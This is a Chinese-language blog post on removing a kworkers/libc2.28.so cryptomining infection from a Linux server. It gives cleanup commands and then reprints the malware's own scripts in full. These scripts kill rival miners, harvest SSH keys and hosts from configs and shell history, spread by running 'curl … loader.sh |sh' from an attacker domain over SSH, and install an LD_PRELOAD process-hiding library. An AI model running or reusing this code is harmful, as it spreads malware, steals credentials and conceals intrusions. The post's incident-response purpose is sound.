挖矿病毒清理kworkers(libc2.28.so)

admin linux服务 2021-08-11 1681浏览 0

测试服务器被挖矿了，新增了crontab和动态库，清理方法：

异常进程先通过

lsof -p 进程id

查看恶意程序的位置，然后删除。

把/root/.git 文件夹删除，然后新建再加锁

rm -rf /root/.git && mkdir /root/.git && /opt/bak-chattr +i /root/.git

首先清理掉crontab

echo "" > /var/spool/cron/root

chattr +i /var/spool/cron/root

删除动态库

rm -rf /usr/local/lib/libc2.28.so

echo "" > /etc/ld.so.preload

chattr +i /usr/local/lib

注：库文件枷锁后续不能写入，新安装其他软件需要写入动态库时chattr -i 解锁即可

最后把重要命令隐藏下(看自己需要)

mv /usr/bin/chattr /mnt/bak-chattr

mv /usr/bin/curl /mnt/bak-curl

最后看下挖矿脚本，先干掉同行挖矿的程序，然后运行自己的，轮询ip和密钥各种尝试连接，然后接着curl下载黑嘿嘿...

Bash

echo "local go start"
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep supportxmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep xmrpool.net | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minergate.com| awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep viaxmr.com| awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "kworkerds" | awk '{print $2}'|xargs kill -9
myhostip=$(curl -sL icanhazip.com)
KEYS=$(find ~/ /root /home -maxdepth 3 -name 'id_rsa*' | grep -vw pub)
KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }')
KEYS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | awk -F ' -i ' '{print $2}' | awk '{print $1'})
KEYS4=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq)
HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}')
HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
HOSTS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '@' '{print $2}' | awk -F '{print $1}')
HOSTS4=$(cat /etc/hosts | grep -vw "0.0.0.0" | grep -vw "127.0.1.1" | grep -vw "127.0.0.1" | grep -vw $myhostip | sed -r '/\n/!s/[0-9.]+/\n&\n/;/^([0-9]{1,3}\.){3}[0-9]{1,3}\n/P;D' | awk '{print $1}')
HOSTS5=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq)
HOSTS6=$(ps auxw | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | grep ":22" | uniq)
USERZ=$(
  echo "root"
  find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -wv ".ssh"
)
USERZ2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -vw "cp" | grep -vw "mv" | grep -vw "cd " | grep -vw "nano" | grep -v grep | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '@' '{print $1}' | awk '{print $4}' | uniq)
sshports=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -vw "cp" | grep -vw "mv" | grep -vw "cd " | grep -vw "nano" | grep -v grep | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '-p' '{print $2}' | awk '{print $1}' | sed 's/[^0-9]*//g' | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2- | sed -e "\$a22")
userlist=$(echo "$USERZ $USERZ2" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2- | grep -vw "." | grep -vw "ssh" | sed '/\./d')
hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3 $HOSTS4 $HOSTS5 $HOSTS6" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
keylist=$(echo "$KEYS $KEYS2 $KEYS3 $KEYS4" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
i=0
for user in $userlist; do
  for host in $hostlist; do
    for key in $keylist; do
      for sshp in $sshports; do
        ((i++))
        if [ "${i}" -eq "20" ]; then
          sleep 5
          ps wx | grep "ssh -o" | awk '{print $1}' | xargs kill -9 &>/dev/null &
          i=0
        fi
        #Wait 5 seconds after every 20 attempts and clean up hanging processes
        chmod +r $key
        chmod 400 $key
        echo "$user@$host"
        ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=3 -i $key $user@$host -p $sshp "curl http://m.windowsupdatesupport.org/d/loader.sh |sh"
        ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=3 -i $key $user@$host -p $sshp "curl http://m.windowsupdatesupport.org/d/loader.sh |sh"
      done
    done
  done
done
# scangogo
echo "local done"

Bash

if [ "$EUID" -ne 0 ]
  then echo "Please run as root"
else
  if [ `grep libc2.28 /etc/ld.so.preload`  ]
  then echo "hideproc already done!!"
  else
    apt-get update -y
    apt-get install build-essential -y
    yum makecache
    yum install build-essential -y
    dnf groupinstall "Development Tools" -y
    yum group install "Development Tools"  -y
    curl http://m.windowsupdatesupport.org/d/processhider.c -o  processhider.c
    gcc -Wall -fPIC -shared -o libc2.28.so processhider.c -ldl
    mv libc2.28.so /usr/local/lib/ -f
    grep libc2.28 /etc/ld.so.preload  || echo /usr/local/lib/libc2.28.so >> /etc/ld.so.preload
    rm -f processhider.c
    ls >/tmp/.1  2>&1
    grep libc2.28.so /tmp/.1 && echo >/etc/ld.so.preload
  fi
fi